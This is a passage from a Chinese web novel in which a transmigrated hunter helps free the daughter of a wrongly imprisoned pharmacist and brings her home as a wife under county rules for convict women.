他不过是一时心软放了母狐和小狐狸一条生路,没想到竟能得到如此丰厚的回报。反观那王赖子那种人之前教训他给他机会,没成想那浑蛋会勾结其他人,深夜翻墙要抢掠害人,还不如一头通人气儿的畜生,真是死有余辜。
李逸伸手触及,心念一动,野鹿的尸体便消失在原地进入物品栏中。
看了眼天色,知道时候不早,李逸辨别了一下方向,朝着山林外走去。
往日他进山总是走固定路线,如今看来,还需要多开辟几条路线,才能有更多机会狩猎到珍稀猎物。日头已渐渐西斜,他加快脚步走向山林外围。
不远处的密林里,一大一小两只赤狐正扒着树干,静静地看着他远去的方向,直到他的身影彻底消失,才缓缓缩回林中。
自从耐力属性又增加一点后,李逸的体力变得愈发充沛,在山林中奔走一整天也不觉得疲惫。想起刚穿越过来时,他连翻座小山都气喘吁吁,如今的体质已是天差地别。
这让他更加期待身体后续的强化效果,甚至隐隐希望能达到秦心月那般水准,她那身手干净利落,符合李逸对女侠的幻想,又酷又飒。
临出山时,李逸选择了些粗树枝,用物品栏里的斧头砍断,做成了一个简易木筏。
他将物品栏中的野鹿尸体取出放在上面,又放上四只兔子和一只山鸡,拖着木筏顺着满是枯草的土坡往山下走。
大荒村的农户虽不多,但李逸还是尽量绕开村落外围的主干道。打猎收获颇丰本不是什么值得炫耀的事,反倒容易引人嫉妒,徒增麻烦。
路过张绣娘家门前时,他特意停下脚步,将那只山鸡递了过去。
一来二往,张绣娘也不再像最初那般推辞,笑着接过山鸡,她在心中牢记着李逸的好,想着以后慢慢偿还这个人情。
“三叔好厉害!豆子想快点长大,跟三叔学打猎!”
豆子扒着门框,满脸崇拜地看着李逸,眼中闪烁着兴奋的光芒。如今的李逸,早已是他心目中最厉害的人。
李逸揉了揉他的小脑袋,笑着应允:“好说,等你再大些,三叔就带你进山!”
转头看向站在一旁的大丫,笑着补充道:“大丫也一起去啊!”
大丫脸颊微红,轻轻拉了拉豆子的衣角,还有些不好意思地点了点头。
张绣娘站在一旁,看着李逸温和的模样,眼里满是感激与温柔,直到他的身影远去,才带着两个孩子进了院子。
“太好喽!又有肉吃喽!”
“三叔真好,我最喜欢三叔!”
豆子欢呼着跑进屋里,清脆的笑声在院子里回荡。
回到自家院子时,夕阳的余晖正洒在木棚上。秦心月有节奏踩踏踏板,木桩咚咚咚的撞击声很有规律,陈氏则蹲在一旁,帮忙捡拾散落的粟米粒,额前的碎发被汗水粘住,显得有些狼狈。
看到李逸拖着这么多猎物进院,秦心月眼中闪过一丝诧异:“今日收获竟如此丰厚!”
“夫君好生厉害!”
白雪儿也蹦蹦跳跳地跑过来,小手拽着李逸的衣袖,圆圆的眼睛亮晶晶的,鼻尖还忍不住抽了抽,像是已经闻到了烤肉的香味:
“夫君,晚上做烤兔肉吃吧!”
李逸伸手刮了下她的鼻尖,无奈又宠溺地笑道:“好吧,你这只小馋猫,真是拿你没办法!”
他先将猎物用水清洗干净,剥皮的手法娴熟利落,没多久就将四张兔皮和一张鹿皮处理好,晾在院子里的绳子上。这些皮子必须好好清理鞣制后才能使用,眼下只能先晾晒风干。
天色渐渐暗了下来,于巧倩在厨房里熬起了粟米粥。李逸挑了一只最肥的野兔,处理干净后在肉表面划了几道口子,撒上从山里采来的野茴香和山花椒,架在炭火上慢慢翻动。油脂滴落进炭火中,发出滋滋的声响,浓郁的香气很快弥漫了整个院子。
野兔肉煮着吃容易有土腥味,在现代有诸多调味料尚可遮掩,眼下条件有限,李逸可不敢尝试煮食,生怕浪费了好食材。
陈氏始终蹲在木棚的角落里,于巧倩几次让她进屋歇着,她都摇着头拒绝。她那乱糟糟的头发被于巧倩用李逸的剪刀修剪过后,整个人看起来干净了不少,只是眼神依旧有些呆滞。
陈氏年纪还不到三十岁,却因常年缺衣少食,又连续生了好几个孩子,模样看起来比四十岁的妇人还要苍老。于巧倩先给她端去一大碗粘稠的粟米粥,等兔肉烤熟后,又特意割了一小块递过去。陈氏只是睁着眼睛看着,却迟迟不肯伸手去接,最后还是于巧倩强行将兔肉放进她的碗里。
于巧倩进屋收拾碗筷后,陈氏捧着碗,一边大口吃着,一边无声地流泪,泪水顺着她布满皱纹的脸颊滑落,滴进碗里的粟米粥中,她却浑然不觉,只是一个劲地往嘴里塞着食物。
晚饭过后,李逸在油灯下处理那些兽皮。秦心月虽然不懂这些活计,却认真地在一旁打下手,时不时询问处理技巧,眼神专注而认真。
“明天我去趟乡里,把脱好壳的粟米和这些猎物卖掉,顺便买点东西回来.....”李逸梳理着鹿皮上残留的绒毛说道。
“要我和你一起去吗?”秦心月问道。
李逸摇了摇头,放下手中的兽皮:
“不用了,你在家里我更放心。我还要去石匠那里定制些物件,回来可能要到后半夜,或者干脆在乡里住一晚,你们不用惦记我。”
“夫君,如果太晚就等天亮再回来吧!”白雪儿拉着他的衣袖,满脸担忧:“晚上天冷又看不清路,雪儿担心你。”
于巧倩端着碗筷从厨房走出来,轻声说道:“陈氏已经回去了,我刚才看到她走的时候还在哭,真是个苦命的人……”
她轻轻叹了口气,心中暗自庆幸。若不是李逸幡然悔悟做出改变,她和白雪儿的处境,恐怕不会比陈氏好多少。比起陈氏,她们已是幸运太多。
次日一早,天刚蒙蒙亮,李逸就起身套好了骡车。车上装着脱壳后的精米,还有剥好皮的野鹿和野兔。
这几天他一直精心喂养大骡子,给它喂精料和清水,如今大骡子看起来比买回来时精神了不少,毛色也亮泽了许多。
离开大荒村没多远,确定四下无人李逸将骡车和猎物一同收入物品栏,随后翻身骑上大骡子,沿着土路向乡里赶去。大骡子的脚力虽比不上骏马,却比人快了不少,至少能缩短一半的路程。
以前他去乡里要走半天,去县城更是要接近一天的时间,如今有了大骡子,同样的时间足够他往返一趟。在李逸看来,时间便是最宝贵的成本,每一分每一秒都不能浪费。
此次前往乡里,卖粟米不过是个幌子,他真正的目的是购买石膏、售卖鹿角,再去石匠铺定制一个石磨和一个石碾子。
石磨要做一个专门用来磨黄豆制作豆腐的,改善家人的伙食同时日后也是和新的赚钱门路,石碾子则用来碾粟米,有大骡子拉着比人工省力多了,也能让大骡子物尽其用,不至于白养着。
大骡子一路小跑,不到三个小时,前方就出现了乡里低矮破败的小城墙。
李逸在城外的树林里停下,将骡车和猎物从物品栏中取出,重新套好后,慢悠悠地赶着车进入乡里,直奔陈掌柜的药铺。
“吁.....”
李逸将骡车停在药铺门前,看着紧闭的木门,脸上露出一丝疑惑。
按往常的时辰,药铺的伙计小六此时应该正在门口打扫落叶才对,可今日门前却堆着不少枯叶和杂物,他下车走上前,试着推了推店门,门却纹丝不动。
“李大哥!”
就在这时,身后传来一声略带哽咽的呼喊。
李逸回头望去,只见小六正从街角跑过来,他眼眶乌青,左边脸颊高高肿起,嘴角还有未干的血迹,模样十分狼狈。
“小六?你这是怎么了?”李逸连忙迎了上去,皱眉问道。
小六跑到他面前,双手紧紧抓住他的胳膊,眼睛通红,显然是哭了很久,声音哽咽地哀求道:“李大哥,你快去县衙看看吧!东家和小姐都被抓起来了!”
“被抓了?为什么?”
李逸心中一沉,满脸不解。以他对陈掌柜的了解,对方是个心地善良的老实人,时常给穷苦百姓赊药,玉竹小姐也文静知书达理,二人怎么会被县衙抓走?
“是……是因为你卖给东家的那株野山参!”
小六吸了吸鼻子,断断续续地解释道:
“前几日傍晚,一个浑身是伤的汉子倒在药铺门口,东家见他还有气息,便将他抬进药铺救治,用了半株你卖的那野山参才保住他的性命。那汉子醒来后很是感激,留下两个金饼作为诊金就走了。”
“可昨日下午,县衙的捕头带着人突然闯进来,说那汉子是劫掠邻县的劫匪头目,说东家是劫匪的同伙,不由分说就把东家还有小姐都抓进县大牢了!”
小六抹了把眼泪,继续说道:“东家临走前特意叮嘱我,如果这几日看到你过来,一定要让你去县衙大牢找他!”
听完小六的话,李逸的脸色瞬间阴沉下来,陈掌柜的为人他很清楚,说他们是劫匪同伙,简直是无稽之谈!
第四十二章:牢中托付
李逸套用现代人的思维,他在脑海中已将前因后果大致捋出来了。
陈掌柜会被抓,八成是成了县衙的备用顶罪羊,那伙劫匪定是犯了天大的事,上头催逼得紧,县衙抓不到真凶交差,便先将与劫匪有过牵扯的陈掌柜先扣下。
真有关系最好,即便是没有关系一旦期限到了此案仍毫无进展,陈掌柜就会被推出去平息风波,给上面的人一个交代,暂时保住一众官员的乌纱帽。
这么一想,那日卖的野山参反倒成了导火索,若不是那株野山参吊住了劫匪的性命,对方当场毙命,陈掌柜也不会落得这般引火烧身的境地。
李逸暗自叹气,这可真是人在家中坐,祸从天上来,偏偏那匪人命不该绝。
“李大哥,你可一定要去啊!东家和小姐都是好人,不能就这么被冤枉!”
小六红着眼圈,攥着李逸的衣袖苦苦哀求,眼眶里的泪珠在打转,却强忍着没掉下来。
“好!我这就赶去县城!”
李逸不再多言,翻身上了骡车,扬鞭轻喝一声,骡车便沿着土路快速前行。
出了乡里后,他找了处隐蔽的树林,迅速将骡车收进储物物品栏,翻身骑上大骡子,拍了拍它油亮的脖颈:
“骡子兄,今天辛苦你了,等事儿办完,给你加双份精饲料!”
大骡子似是听懂了他的许诺,打了个响亮的响鼻,四蹄翻飞,奔跑的速度竟又快了几分,蹄子踏在土路上,扬起阵阵烟尘。
李逸稳坐在骡背上,眉头紧锁,心思飞速运转:陈掌柜找他,绝不可能是指望他一个普通农户能救人出狱,多半是有什么身后事要托付,毕竟以他如今的身份,根本没有撼动县衙的能力。
一路疾驰,临近县城时,大骡子的后背已被汗水浸透,鬃毛黏在皮肤上,大口喘着粗气,涎水顺着嘴角滴落,砸在地上溅起细小的泥点。
李逸心疼地跳下来,牵着缰绳陪它慢跑,掌心能清晰感受到骡马温热的体温和急促的呼吸。
到了城门口,他瞥见墙上张贴的泛黄布告,墨迹淋漓的标题格外刺眼。
悬赏捉拿劫粮匪徒!凡提供线索者赏五百钱!
布告上写明,一伙匪徒胆大包天劫掠了地方送往的朝廷税粮,被官兵追击至安平县境内后踪迹全无,李逸心中一沉,看来陈掌柜救下的,多半是这伙匪徒中的核心人物,否则县衙也不会如此兴师动众。
眼下唯有抓到真凶,才能还陈掌柜清白。可这绝非易事,李逸虽有穿越者的身份,却清楚自己的斤两,单枪匹马去山里搜捕匪徒无异于痴人说梦,直接闯县衙更是会被当成同党抓起来。
思来想去,脑中灵光一闪,李逸想到了王记酒肆的老板王金石。
赶到酒肆时刚过未时,还没到饭点,在店门口迎客的不是那丁二,李逸看着面熟却不认得,这伙计认出了李逸连忙堆起笑脸迎上来,王金石之前特意交代过,要好生对待这位卖过猛虎的猎户。
“哎呦,李兄弟来了!快里面请!”伙计热情招呼着,伸手就要引他进店。
“不用,你先帮我照看一下骡子,给它添点草料和清水,我有急事找王店主!”
李逸将缰绳塞给他,不等对方回应,便大步冲进了店里。
“啊?这......”
伙计愣在原地,看着他急匆匆的背影,摇了摇头,连忙牵着骡子绕到后院,先将骡子栓进空着的马棚,又从取了平日喂马上等的草料和干净的井水,看着骡子低头进食,才放心地回到前堂。
“哎?李兄弟!快快!里边请!”
王金石正坐在柜台后拨弄算盘,听到脚步声抬头,见是李逸,先是一愣,随即咧嘴笑开,脸上的肥肉挤成一团。
多亏了李逸卖给他的猛虎,他老母的寿宴办得风风光光,不仅在亲友面前挣足了面子,还引来了县衙的大小官员登门贺寿。
寿宴上本有几个对头想找他麻烦,质疑虎肉的真假,可当他让人展开那张完整的虎皮时,满座宾客都惊得目瞪口呆,那些质疑的声音瞬间消失得无影无踪。
这几日,王金石在安平县城可谓风头无两,提起王记酒肆,没人不竖起大拇指,夸赞他是个孝顺的大孝子。
“王店主,我有急事求你帮忙!”李逸神色凝重,额头上还带着赶路的薄汗,语气急促。
王金石见他这般模样,立刻收敛了笑意,起身引他往内间走:
“来,兄弟,咱们里面说,这里清静。”
进入陈设雅致的内间,王金石给李逸倒了杯茶,待他饮下后,才开口问道:
“兄弟,出什么事了?看你急成这样。”
李逸将陈掌柜的遭遇一五一十的说明,没有半分隐瞒。他知道此事牵连甚广,若是有所隐瞒,万一后续事发反而会连累王金石,倒不如开诚布公,显得更有诚意。
听完李逸所说之后,王金石摸着下巴上的胡茬,面色愈发凝重,手指无意识地敲击着桌面:
“这事儿……难办啊!”
他叹了口气,继续说道:“县令大人那日在寿宴上还真提过此事,上头催得紧,限他十天之内必须破案,否则他这乌纱帽就保不住了。所以.....若是十天内抓不到匪徒,那陈掌柜……恐怕真要被推出去顶罪啊,这也是没办法的事。”
“唉......这陈掌柜也是倒霉啊,你说他救谁不好偏偏救了个匪徒!要是当初没救,让那匪徒死在路边,反倒没这么多麻烦!”王金石连连摇头,语气中满是惋惜。
李逸沉默着听他说完,没有插话。他知道王金石说的是实情,眼下这局面,绝非普通人能轻易扭转。
“兄弟,不是哥哥不帮你啊,”王金石面露难色,语气诚恳:“这事儿别说我,就是县令大人也做不了主,除非县尉能抓到匪徒。可那伙人藏进了深山老林,好几个追捕的官兵都折了进去,想找到他们难如登天哪。”
他顿了顿,像是下定了决心:“我顶多能帮你通融一下,让你进大牢见陈掌柜一面,但你得装成去讨债的,不能露馅,否则我也没法交代。”
李逸眼前一亮,他本就没指望王金石能直接救人,只要能见到陈掌柜,弄清楚对方的托付就够了。
他后退一步,对着王金石郑重地抱了抱拳:“王店主,我李逸斗胆喊你一声哥哥!大恩不言谢,等此事了结,我给你寻一桩能日入千钱的买卖,绝不食言!”
见他说得诚恳,眼神坚定,王金石摆了摆手:“哎呀....兄弟,客套话就别说了,事不宜迟,我现在就带你去县衙!”
二人来到后院,伙计早已备好马车,这是一辆装饰考究的双马拉车,骏马膘肥体壮,一看就价值不菲。
王金石亲自驾车,扬鞭轻喝,两匹骏马扬蹄疾驰,没多久便抵达了县衙门口。
下了车,王金石大摇大摆地走在前面,一进县衙就扯开嗓子喊:
“李班头!李班头在哪?”
他的声音洪亮,惊动了不少衙役。很快,一个穿着捕快服、腰间挎着佩刀的中年汉子走了出来,正是上次李逸在米店见过的李班头。他见到王金石,立刻堆起笑脸抱拳:
“王店主大驾光临,不知有何贵干啊?”
王金石摘下头上的皮帽子,狠狠啐了一口:“他奶奶的!有个家伙欠我兄弟钱,听说被关在你们大牢里,我带我兄弟来讨个说法!”
李班头皱了皱眉,面露难色:“王店主,这不合衙门的规矩啊……探视犯人得有文书批复才行。”
“规矩?”王金石眼睛一瞪,伸手就向腰里摸去:“是不是要拿钱办事?你开个价,多少钱能通融?”
往日里王金石总是一副和气生财的模样,李班头还是头一次见他动怒。
想到近日王金石的风光,连县令都要给几分薄面,他哪里敢得罪,连忙摆手:
“嗨....王店主说笑了,既然你开口,自然要给个方便,你们跟我来”
王金石立刻换上笑脸,拍了拍李班头的肩膀:
“这才对嘛!晚上带着你的弟兄们,都去我店里喝一杯,好酒好肉管够,我做东!”
周围的衙役们一听,顿时面露喜色,纷纷围上来拱手道谢:“谢王店主!”
李班头瞥了李逸一眼,总觉得这年轻人有些眼熟,却一时想不起来在哪里见过,也只能压下疑虑,引着二人往大牢走去。
穿过几道厚重的铁门,一股混杂着霉味、尿骚味和血腥味的恶臭扑面而来,令人作呕。
大牢里阴冷刺骨,寒风从墙壁的缝隙中灌进来,吹得人瑟瑟发抖。
牢房两侧的铁栅栏后,关押着不少犯人,有的蜷缩在角落奄奄一息,有的则对着他们怒目而视。还有不少女眷蜷缩在另一侧的牢房里,衣衫褴褛,面色憔悴,看来是近日来分地的农户不多,这些女眷还没有全送出去。
陈掌柜和陈玉竹被关在最里面的单独牢房,铁栅栏比其他牢房的更粗,县衙对这桩案子极为重视。
“李……”陈玉竹一眼就看到了李逸,眼中瞬间闪过喜色,刚要开口喊他,就被身边的陈掌柜悄悄拉了一把,硬生生把话咽了回去。
李逸定睛看去,陈掌柜的衣衫破烂不堪,身上布满了青紫交错的伤痕,有的地方还渗着暗红的血珠,显然遭受了酷刑审讯,他的脸颊有些浮肿,嘴角破了皮,眼神却依旧清明。
陈玉竹虽未受伤,却面色蜡黄,头发凌乱地贴在脸颊上,脸上还挂着未干的泪痕,往日里的文静荡然无存。
“他奶奶的!就是你欠我兄弟钱?快给个说法!不然老子拆了你的骨头!”
王金石按照事先约定,故意摆出一副怒气冲冲的模样,双手叉腰,唾沫星子横飞。他瞥了一眼旁边的李班头,对方会意,默默转身退了出去,守在了牢房外的走廊上。
等人走后,李逸立刻快步冲到栅栏前,声音压低却难掩急切:
“陈掌柜,玉竹小姐!你们受苦了!”
“李大哥……”陈玉竹再也忍不住,眼泪像断了线的珠子般滚落,双手紧紧攥着冰冷的铁栅栏,声音有些哽咽:“我们是被冤枉的!我们根本不知道他是匪徒啊!”
“我知道!”李逸重重点头,眼神坚定:“我相信陈掌柜的为人,行医救人,绝不会与匪徒同流合污!”
陈掌柜苦笑着摇了摇头,牵动了身上的伤口,疼得他倒吸一口凉气:
“嘶.....事到如今,也只能怪我倒霉,一时心软救了人,反倒引火烧身。”
“只是苦了玉竹啊....要她跟着我遭这份罪。”
陈掌柜说着看向王金石,语气急切:“这位朋友看着面生,想来是有些门路的,不知可否告知,我们这案子如今有何进展?”
王金石叹了口气,如实说道:
“不瞒你说,那伙劫匪已经躲进了深山,官府多次追捕都无功而返,还折了不少人手。上头给了县衙十天期限,若是到期抓不到人,你们……”
后面的话他没说完,但在场的人都明白其中的含义。
“呵呵……呵呵呵……”
陈掌柜仰头发出一阵凄凉的苦笑,笑声在空旷的牢房里回荡,带着无尽的绝望。
“果然如此,果然如此啊……”
他挣扎着挪了挪身子,不顾身上的伤痛,竟对着李逸缓缓跪了下去。
“陈掌柜,使不得!你快起来!”
李逸连忙伸手去扶,却被铁栅栏挡住,指尖只碰到了冰冷的铁条。
“小兄弟,我自知此番难逃一劫,”
陈掌柜的声音带着绝望,却又异常坚定:
“我只求你帮我把玉竹带出去!她从小没了娘,是我一手拉扯大的,她性子温顺,知书达理,是个能过日子的好姑娘……我不能让她跟着我送命啊!”
“爹!”
陈玉竹哭喊着扑到陈掌柜身边,也跪了下来,紧紧抱住他的胳膊:
“女儿不出去!女儿要跟你在一起!要死一起死!”
陈掌柜转头看向王金石,眼神决绝,像是做了最后的决断:
“还请这位朋友帮我给县令大人带句话,若是期限之内抓不到匪徒,我甘愿认罪伏法,只求官府能放过小女,给她一条生路!”
说罢,他缓缓俯身,额头重重磕在冰冷的地上,发出沉闷的声响,一下又一下,额角很快就红了一片。
玉竹趴在地上,哭得撕心裂肺,泪水打湿了身前的地面。
王金石见此情景,忍不住长叹一声.....
“唉……既然你都做到这份上了,又有李兄弟这层关系,我定然会尽力帮你周旋!县令那边我去说情,尽量保住令嫒......”
第四十三章:又抱回来一个女人
从安平县衙的大牢里出来,凛冽的寒风裹着雪沫子刮在脸上,像细针扎似的疼,李逸紧了紧身上的皮袄,心情比这阴云密布的天气还要沉重三分。
陈掌柜绝对是个心善厚道的人,会在能力范围帮衬一些穷苦农户,对店里的伙计也从不苛责,待人接物总是客客气气的。
可就是这样一个好人,却平白遭受了这无妄之灾,李逸心里清楚,哪个时代都少不了**错案,但在这法度粗疏、刑侦落后的古代,这样的冤屈只会更多,大多是屈打成招,最后不了了之。
李逸有心帮陈掌柜一把,却实在是无力回天。就连一县之主的伍县令都做不了这个主,上头催得紧,若是不给个交代,他自己都可能丢了乌纱帽惹祸上身。伍县令与陈掌柜非亲非故,断不可能为了一个不相干的外人,赌上他自己的前程。
离开大牢门口,王金石拍了拍李逸的肩膀:“李兄弟,你先去马车里等着,我去见伍县令跟他说句定心话。”
李逸点点头,看着王金石转身走进县衙那朱红色的大门,心里五味杂陈.....
他知道,王金石这一趟是为了陈掌柜舍身护女的事去说情,希望能让陈玉竹顺利出狱。
县衙后堂里,伍思远听完王金石转述的陈掌柜心意,手指轻轻敲击着案几,脸上露出几分动容。身为一县父母官,他并非没有为民做主的心思,只是身处其位,有太多身不由己。
“我何尝不想将真凶缉拿归案啊......”
伍思远长叹一声,眉宇间满是无奈:“可赵县尉那边说了,进山剿匪至少需要几百兵力才能确保万无一失。咱们安平县总共就两百驻军,前几日追捕**还折损了十几个,兵力本就捉襟见肘。向上求援吧又怕被安个督管不力无所作为的罪名,到时候丢官是小,怕是还要连累我的家人啊.....”
王金石站在一旁,也跟着叹了口气:“大人的难处,在下明白。只是陈掌柜一片护女之心,实在令人动容。”
“十天期限已经过了两天,若是到时候还没有进展,整个县衙上下都要被波及。让陈掌柜顶罪也是实属无奈之举啊。”
伍思远捏了捏发胀的额角,语气里满是疲惫继续说道:“既然陈掌柜愿意舍身,那便不能再牵连其他人了,张贤!”
“属下在!”县丞张贤从屏风后走了出来,躬身应道。
“陈玉竹出狱的事,就交给你去办吧。”伍思远吩咐道。
“属下领命。”张贤点头应下。
王金石对着张贤拱了拱手,客气道:“那就有劳县丞大人了。”
“去吧....去吧....”伍思远挥了挥手,心情有几分烦躁。
两人辞别伍思远,快步走出后堂.......
张贤一边走,一边对王金石和随后赶来的李逸解释:“按规矩,陈玉竹不能直接无罪释放的,所以依我之见,让你这李兄弟去申领田地,县衙再以罪女赠予为妻的名义,将她从大牢里接出来,这也是一般女囚出狱的常规流程,如此就无后顾之忧了。”
李逸闻言,眉头微微蹙起,可这样一来,陈玉竹就会提前背负罪女的名声,和白雪儿、于巧倩她们一样。
可他心里也清楚,这已是眼下能想到的最好办法,再加上王金石夹在中间周旋不易,他不能表现出半分不满,反而要对着张贤连连道谢。
“多谢县丞大人费心,此番恩情,小子记在心里了。”
张贤拿着名册给李逸登记时,目光一顿,抬眼问道:“你前些时日是不是已经来申领过四亩田地,还领回去两个罪女?”
“回大人,是的。”李逸如实答道。
张贤眼底闪过一丝算计,随即笑道:
“呵呵.....既然如此,不如你再申领六亩良田,如此便是能凑够十亩,按县里心颁布的规矩,凡垦荒满十亩者,可免赋税三年,这是个天大的好处啊。”
李逸听闻心里一动,来年开春他本就打算大规模种地,不仅要种粟米,还想试试种些蔬菜和其它高产的粮食作物,四亩地确实远远不够。张贤这话正说到了他的心坎里,既能解决田地不足的问题,还能给这位县丞留个识趣的好印象,日后在县城办事也能更顺畅些。
“全听县丞大人吩咐!”李逸当即点头答应。
“哈哈哈......如此甚好!”
张贤对李逸的识趣很是满意,当即提笔在文书上批了字,盖上官印,递给李逸:“你拿着这份文书,去大牢就能把陈玉竹带出来了。”
李逸双手接过文书,再次躬身道谢:“多谢县丞大人!”
张贤捋了捋下巴上的山羊胡,话锋一转,看向王金石:“王店主,我若是没猜错,这位小兄弟,就是卖给你虎皮之人吧?”
李逸和王金石皆是一愣!这位县丞果然心思敏锐,竟这般轻易就猜到了其中的关系。
看到两人的反应,张贤越发笃定了自己的猜测,脸上笑意更浓:
“我听闻大荒村紧邻成片的深山老林,往年冬天常有饿急的野狼进村,山里藏着猛虎也不足为奇,王店主能弄到那般好的皮货,想来定是这位小兄弟的手笔啦。”
王金石哈哈一笑,打圆场道:“哈哈哈....张县丞慧眼如炬,什么都瞒不过您的眼睛啊。只是我这小兄弟性子低调,怕遭人妒忌惹来麻烦,还望县丞大人替他保密啊。”
“好说好说。”张贤摆了摆手,眼中闪过一丝贪婪:“呃....最近天凉了,好皮货可是稀罕物,市面上很难寻得啊。”
王金石何等精明,立刻听出了弦外之音,笑着对李逸使了个眼色:
“县令大人和县丞大人为全县百姓操劳,着实辛苦啊,我说..李兄弟,日后若是猎到什么好猎物,你可别忘了孝敬两位大人啊。”
李逸连忙堆起笑容,附和道:“那是自然!应该的,应该的!”
见两人如此上道,张贤满意地挥了挥手:“行了,你们快去吧,我还有公务要处理,就不陪你们了。”
辞别张贤,两人直奔县衙大牢。
路上,王金石戴好皮帽子,压低声音对李逸说:“张贤这只老狐狸,贪心得很!李兄弟,下次你若是有好皮子,确实得送些过来。不过你也不亏,能在衙门里混个脸熟,再加上哥哥我的这层关系,日后不管是办事还是避祸,你都能顺畅不少。”
李逸心里明白其中的利害,语气诚恳地说:“多谢王大哥提点,小弟记下了。”
王金石笑得豪爽,拍了拍李逸肩膀:“我只是随手帮帮,你不用挂在心上”
有了县丞的文书,两人顺利走进大牢。之前对他们态度冷淡的李班头,此刻脸上堆满了谄媚的笑容,亲自领着他们往牢房走去。
再次见到陈掌柜和陈玉竹父女,李逸的心情越发复杂。
他虽是救出了陈玉竹,却把陈掌柜进一步推向了那条必死之路。这种无能为力的感觉,让他倍感压抑。
有些事,不是想躲避就能躲开的,它总会主动找上门来,逼着你去面对。
“陈掌柜,我来带玉竹小姐离开。”李逸的语气里带着难以掩饰的无奈。
陈掌柜脸上露出一丝释然的笑容,紧绷的肩膀微微松弛下来:
“小兄弟,能把玉竹救出去,我就已经感激不尽了,你无需自责。你的人品和心性我信得过,日后玉竹就托付给你了……”
“爹!”
陈玉竹再也忍不住,泪水夺眶而出,声音哽咽着,紧紧抓住父亲的衣袖,不愿松开。
在李逸他们离开的这段时间,陈掌柜已经把其中的利害关系都告诉了女儿。
除了抓到那伙真正的**,此事再无其他破解之法,他们唯一能选择的,是一个人死还是两个人一起死......
陈玉竹虽于心不忍,却也知道父亲心意已决,不敢违背。临走前,她噗通一声跪倒在地,给陈掌柜重重磕了三个响头,额头都磕出了红印。
陈掌柜的脸上露出释然的微笑,轻轻抬了抬手:“去吧......”
离开大牢的这段路,陈玉竹浑身虚浮,大脑一片空白,全靠李逸搀扶着才勉强走出来。
坐上马车后,王金石在前面赶车,她无力地靠在李逸的肩膀上,泪水模糊了视线,止不住地往下淌。
“李大哥……我父亲
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真的没救了吗?”她的声音带着哭腔,充满了绝望。
李逸没有选择哄骗安慰,如实说道:“现在只看剩下的八天里,赵县尉那边能否有进展,若是能抓到那伙盗匪,陈掌柜自然能洗脱罪名。”
陈玉竹默默点头,缓缓闭上双眼。
连日来的担惊受怕、食不下咽,再加上大牢里的阴冷潮湿,让她的身体早已不堪重负。马车还没到王记酒肆,她就靠在李逸的肩头沉沉睡了过去。李逸伸手摸了摸她的额头,只觉得一片滚烫,知道她这是发烧了。
“吁.....”
马车稳稳停在酒肆后院,王金石掀开车帘,看到陈玉竹昏睡的模样,好奇地问道:
“陈姑娘这是怎么了?”
“连日担惊受怕,又染了风寒,有些发热。”李逸轻叹一声,语气里满是同情。
“嗨,真是个苦命的姑娘啊。”王金石叹了口气:“我带你们去药铺吧,生病可是耽误不得。”
李逸摇了摇头:“麻烦王大哥给我们安排一间房间,让陈姑娘先歇着,我一个人去药铺抓药就好。”
“也好!你跟我来!”
王金石点头应下,在前面带路,李逸小心翼翼地将陈玉竹抱起,跟在他身后。
陈玉竹迷迷糊糊间,感觉到自己被一双强有力的臂膀抱着,睁开眼瞥了一眼李逸棱的侧脸,随即又陷入了昏沉之中。
买好药材,李逸谢绝了王金石的挽留,连夜赶着骡车出城。
天空阴云密布,铅灰色的云层低得仿佛要压下来,一看就知道还会下雪,所以李逸不敢多做停留,只想尽快带着陈玉竹回到大荒村的家中。
骡车上装着三袋小麦,是李逸托王金石帮忙采购的,正好将陈玉竹围在中间,起到了挡风的作用。她身上盖着王金石送的厚棉被,旁边还有一个大布包,那是王金石家的女眷们不愿穿的旧冬衣。
棉花在这个时代可是稀罕物,大荒村的村民们盖的被子,里面大多填充着干枯的茅草,或是春天收集的柳絮树**,只有城里的大户人家才用得起真正的棉花被。李逸心里对王金石的仗义很是感激,这些东西虽不算贵重,却解了他的燃眉之急。
大骡子在王记酒肆的马厩里吃足了草料,此刻精神饱满,拉着车稳步前行,蹄子踩在冻土路上,发出嗒嗒的声响。木板车轮转动,发出嘎吱嘎吱的摩擦声,在寂静的夜色里格外清晰。
后半夜,狂风骤起!冷风卷着大片的雪花呼啸而来!
这场雪比前几日的那场要大得多,鹅毛般的雪片密集地落下,很快就将路面覆盖得严严实实。李逸拉紧缰绳,让骡子放慢脚步,心里却越发担忧起来。
这样大的雪,无疑给赵县尉他们缉拿**增加了极大的难度,陈掌柜的处境变得更加不容乐观,仿佛有一只无形的大手,正一步步把他推向绝路。
好不容易赶回到大荒村的家门口,李逸抬手用力拍了拍院门:“倩儿,雪儿,开门!”
话音刚落,就听到院内传来吱呀一声开门声,秦心月的声音紧接着响起:“来了!”
李逸笑了笑,秦心月的耳力向来惊人,想必他刚把骡车停下时,她就已经察觉了动静。
“夫君!你回来了!”白雪儿也跟着跑了出来,看到漫天飞舞的大雪,忍不住惊呼道:“呀!下这么大的雪!”
李逸赶着骡车进了院子,迅速将车停稳,然后小心翼翼地抱起陈玉竹,快步往屋里走:
“心月,你把车上的东西搬下来。”
秦心月闻言,身子微微一顿,脸上闪过一丝不易察觉的惊喜。
以前李逸总是客气地喊她秦姑娘,虽显礼貌却也透着生分。可刚才,他竟亲昵地喊了她心月。
秦心月抬起头,看着李逸抱着人匆匆进屋的背影,嘴角不自觉地勾起一抹浅浅的笑意,眼底也染上了几分暖意。
“好,我这就去。”
她应了一声,转身快步走向骡车,动作比平日里轻快了不少,白雪儿也连忙上前帮忙,两人手脚麻利地将车上的东西一一搬进屋,院子里很快就积起了厚厚的一层雪,将刚才的车辙印彻底覆盖......
第四十四章:一下变成四个媳妇!
屋里的油灯散发着昏黄的光芒,跳动的火苗将四人的影子拉得长长的,投在火炕的边沿上,忽明忽暗....
白雪儿、于巧倩、秦心月围着炕沿站着,目光全都落在李逸刚放在炕上的女子身上。
她头发散乱,额角还带着淡淡的淤青,棉衣上沾着泥污与雪渍,显得格外憔悴狼狈,但眉眼间的清秀轮廓依旧清晰可见,长长的睫毛像受惊的蝶翼,微微颤动着.....
李逸从怀里掏出药包递给于巧倩,语气急促却沉稳:“倩儿,你去把这药煮一下,还是按上次的法子,五碗水煮成两碗,火候别太急啊。”
“好,我这就去!”
于巧倩接过药包,快步走向外屋,清洗之前给白雪儿煮药的瓦罐,有条不紊地忙碌。
“夫君,这个姐姐是谁呀?”白雪儿攥着衣角,小声问道,她的小脸上带着几分不易察觉的小情绪,自从秦心月来后如今家里又多了一个女子,她心里难免有些忐忑。
